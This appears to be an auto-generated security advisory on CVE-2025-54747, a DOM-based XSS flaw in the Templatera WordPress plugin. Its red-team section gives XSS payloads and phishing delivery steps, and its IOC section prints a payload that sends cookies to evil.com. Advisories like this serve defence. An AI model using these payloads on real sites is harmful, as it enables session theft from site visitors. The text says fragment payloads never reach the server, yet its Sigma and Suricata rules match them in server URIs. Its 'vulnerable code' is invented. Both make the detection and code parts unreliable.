CVE-2025-54747

Executive Summary

CVE-2025-54747 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the WPBakery Templatera plugin for WordPress, affecting versions up to and including 2.3.0. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. As a WordPress plugin vulnerability, it specifically targets the WordPress ecosystem and does not involve server-level software like Apache or Nginx. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for partial confidentiality and integrity impact. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially through commercial channels. Users should verify the integrity of their plugin files by comparing checksums against the official repository. The lack of a patch increases supply chain risk, as site administrators may be forced to rely on manual mitigations or alternative plugins.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the likelihood of automated exploitation, but the widespread use of WordPress plugins makes this a significant concern for site administrators.

Deep Dive & Mechanics

The vulnerability resides in the Templatera plugin's handling of user input within the browser's Document Object Model (DOM). DOM-Based XSS occurs when client-side JavaScript processes data from an untrusted source (e.g., URL parameters, fragment identifiers) and writes it to the DOM without proper sanitization. In this case, the plugin likely uses document.write, innerHTML, or similar methods to inject content based on user-controlled input, allowing an attacker to execute arbitrary JavaScript.

The attack flow:

1. Attacker crafts a malicious URL containing a payload in a parameter or fragment (e.g., #<script>alert(1)</script>).
2. Victim clicks the link or is redirected to the crafted URL.
3. The Templatera plugin's JavaScript reads the malicious input from the DOM source.
4. The input is written to the DOM without sanitization, executing the attacker's script.

This type of XSS is particularly insidious because the payload never reaches the server, making it harder to detect via server-side logs.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common DOM-XSS fixes.

Vulnerable Code (JavaScript):

// templatera.js (v2.3.0)
var userInput = window.location.hash.substring(1);
document.getElementById('templatera-content').innerHTML = userInput;

Patched Code (Hypothetical):

// templatera.js (patched)
var userInput = window.location.hash.substring(1);
var sanitized = DOMPurify.sanitize(userInput);
document.getElementById('templatera-content').innerHTML = sanitized;

The patched version uses a sanitization library like DOMPurify to strip malicious content before insertion.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with Templatera plugin v2.3.0.
• Victim user with browser access.

Exploit Steps:

1. Identify a page using Templatera that reflects DOM input (e.g., a template preview).
2. Craft a malicious URL:

   http://target-site.com/templatera-preview/#<img src=x onerror=alert('XSS')>
   

3. Deliver the link to the victim via phishing email or social engineering.
4. Upon clicking, the script executes in the victim's browser.

Example Payload:

#<svg onload=alert(document.cookie)>

Blue Team (Defense & Detection)

Mitigation Steps:

1. Disable or remove the Templatera plugin until a patch is available.
2. Implement a Content Security Policy (CSP) to block inline scripts:

   Content-Security-Policy: script-src 'self'; object-src 'none';
   

3. Use a Web Application Firewall (WAF) to filter malicious input in URL fragments (though limited effectiveness).
4. Educate users about phishing links and suspicious URLs.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing #<script or #<img in the URL fragment.
• Host: JavaScript execution of alert(), document.cookie, or fetch() to external domains.
• Logs: Browser console errors or CSP violation reports indicating blocked inline scripts.

Example IOC (URL fragment):

#<svg onload=fetch('https://evil.com/steal?cookie='+document.cookie)>

Detection Engineering

YARA Rule

rule CVE_2025_54747_DOM_XSS {
    meta:
        description = "Detects DOM-based XSS payloads targeting Templatera plugin"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-54747"
    strings:
        $payload1 = /#<[^>]*on\w+\s*=/i
        $payload2 = /#<script[^>]*>/i
        $payload3 = /#javascript:/i
    condition:
        any of them
}

Sigma Rule

title: DOM-Based XSS Attempt via URL Fragment
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential DOM-XSS payloads in URL fragments targeting Templatera
author: Valters IT
logsource:
    category: web
    product: generic
detection:
    selection:
        cs-uri-query|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#javascript:'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with similar patterns
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54747 DOM-Based XSS Attempt"; flow:to_server; content:"#<script"; nocase; http_uri; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-54747 DOM-Based XSS via Event Handler"; content:"#<"; nocase; http_uri; pcre:"/#<[^>]*\s+on\w+\s*=/i"; sid:1000002; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Templatera plugin if not critical. If required, restrict access to trusted users only.
2. Short-Term: Implement a Content Security Policy (CSP) with script-src 'self' and object-src 'none' to block inline scripts.
3. Long-Term: Monitor the WPBakery vendor for an official patch. Consider migrating to an alternative template plugin.
4. Validation: Regularly scan WordPress installations for vulnerable plugin versions using tools like WPScan.

Valters IT This report is generated for educational and defensive purposes. Unauthorized exploitation is illegal.